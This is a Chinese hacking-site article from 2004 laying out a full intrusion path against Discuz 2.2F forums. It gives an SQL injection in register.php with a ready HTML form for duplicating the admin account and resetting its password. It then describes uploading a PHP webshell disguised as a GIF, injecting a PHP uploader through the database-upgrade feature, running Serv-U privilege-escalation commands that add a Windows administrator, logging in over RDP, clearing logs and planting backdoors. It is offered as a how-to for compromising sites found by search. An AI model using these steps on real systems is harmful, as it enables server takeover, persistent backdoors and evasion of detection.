首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
DISCUZ漏洞与提升权限
来源:vfocus.net 作者:vfocus 发布时间:2004-11-24  

DISCUZ漏洞与提升权限

DISCUZ 2.2F的这个漏洞在register.php 的代码中:有如下代码:

$email = trim($email);
if(!$doublee && strstr($email, '@')) {
  $emailadd = "OR email='$email'";
}

  这里是说如果不存在 $doublee 这个变量,并且判断邮件地址格式正确,就

指定 $emailadd 这个变量为 "OR email='$email'" ,为后面的 SQL 语句做准备

。往下有一段代码如下:

$query = $db->query("SELECT COUNT(*) FROM $table_members WHERE

username='$username' $emailadd ");
if($db->result($query, 0)) {
  showmessage('profile_account_duplicate');
}

  默认 $emailadd = "OR email='$email'" 是满足的,所以上面的 SQL 语句

就变成判断用户名和邮箱,有任意一个相同,就提示“该用户名或 Email 地址已

经被注册了,请返回重新填写。”

  利用的方法是给 $doublee 赋值,然后就可以饶过 $emailadd = "OR

email='$email'" 这句,然后再自己构造 $emailadd 这个变量,这个就是我在本

地表单的 action 构造的原因。

<FORM action="http://172.16.0.125/register.php? emailadd=and

uid=100000&doublee=1" method="post">

  然后这个语句到了上面的 SQL 语句那里,就变成:

SELECT COUNT(*) FROM $table_members WHERE username='$username' and

uid=100000

  既然是同时用用户名和用户 ID 判断,那么这个肯定是不成立的了,就可以

顺利跳过

if($db->result($query, 0)) {
  showmessage('profile_account_duplicate');
}

  直接到达这里插入记录:

$db->query("INSERT INTO $table_members (........) VALUES (........)");

  也就注册了相同的用户名。然后再看看 memcp.php ,看到更新用户资料的那

里, SQL 语句居然是这样。

UPDATE $table_members SET ...... WHERE username='$discuz_user'

  直接修改你注册的和管理员一样的ID 的密码,就达到了修改管理员的密码的

目的。 好了让我们看看最激动人心的时刻--

具体利用方法
1,在GOOGLE找BY DISCUZ 2.2F,找到后进去,点击会员,找到管理员的ID,将他的ID

添写到UP1.PHP,(UP1.PHP是本地写的:
<FORM action="http://ip/register.php?emailadd=and uid=100000&doublee=1"

method="post" target="_blank">
用户名 :<INPUT name=username value="管理员的ID"><br>
密码:<INPUT name=password type=text value="123456"><br>
确认密码:<INPUT name=password2 type=text value="123456"><br>
E-mail :<INPUT name=email value="wodezongjie@sina.com"><br>
<INPUT type=submit value= 注册 name=regsubmit>
</FORM>
)的"管理员的ID"处,将网站的地址写到ACTION后面的IP处,保存,然后点击浏览,就

回跳出你个提示页面,如果是"提示信息

该用户名或 Email 地址已经被注册了,请返回重新填写。

[ 点击这里返回上一页 ]

"就表示不成功,管理员修改了漏洞,如果是"提示信息

非常感谢您的注册,现在将以会员身份登录论坛。

如果您的浏览器没有自动跳转,请点击这里

"就表示注册和管理员同样的ID成功,呵呵,我们来到"控制面板 "处进去,点"编辑

个人资料"项,修改密码,然后重新登陆你就是管理员了,接下来就是提升权限,我们

登陆到后台管理的地方http://xxxxxxxxx/discuz/admincp.php把你的密码添上,

确定就进去了,节下了两中方法传个PHP的WEBSHELL上去,一,在上传头像处将你的

改成GIF扩展名的WEBSEHLL传上去,然后到后台管理,点数据管理->数据备份,将GIF

格式的WEBSHELL恢复为.PHP格式,这样一个WEBSHELL就有了在/forumdata/木马名

字.PHP,我上传的是ANGEL的PHPSPY.PHP不错,功能多,速度也快,接下来的提升权限

我想菜鸟们都会把,在命令行下打NET START发现开了SERV-U 赶快上传一个SERV-U

本地提升EXP工具到当前目录,添加管理员 :serv-u "net user cookie 123 /add"
serv-u "net localgroup administrators cookie /add" 同时我入侵的这个服务

器开了3389,走运1!!赶快登陆3389登陆工具,可爱的桌面出来了,然后就是清扫日

志,放木马,开后门,我觉的那个PHPSPY就是一个好的后门木马,大家也可以自己用

别的好的木马或者后门,上传前记着加壳(保险吗:)
二种提升方法就是利用数据管理的数据库升级和数据备份功能,首先点数据库

升级项,在"请将数据库升级语句粘贴在下面:"下面的文本编辑处写上:
INSERT INTO `cdb_forumlinks` (`id`, `displayorder`, `name`, `url`,

`note`, `logo`)
VALUES ('', '0', '', '',

'<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>', '');
然后点升级数据库,提示'
Discuz! 数据结构成功升级。
接下来在数据备份处将forumdata/dz_1111_Vqnys.sql 改成.PHP的扩展名,这样这

个数据库文件就是我们的一个上传SHELL了,高兴呀!然后本地写个提交页:UP1.PHP
<form ENCTYPE="multipart/form-data" ACTION="http://ip/forumdata/你的木

马.php" METHOD="POST">
<input NAME="MyFile" TYPE="file">
<input VALUE=" 提交 " TYPE="submit">
</form>
然后提交你的木马就成功了,提升权限同上>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·深入挖掘Windows脚本技术
·利用上传漏洞攻击BLOGX
·远程启动终端服务最简单的方法
·Discuz 2.2F注册程序过滤不严漏
·剑走偏锋——灵巧的旁注攻击
·用elf-write工具写interpreter后
·NBSI2内部功能实现大揭谜
·万网的尴尬-万网ORACLE注入漏洞
·dvsp2上传漏洞再现--击溃动网sp2
·一次对ASP+ORACLE的注入手记
·利用%5c绕过密码验证
·Linux内核漏洞浅析
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved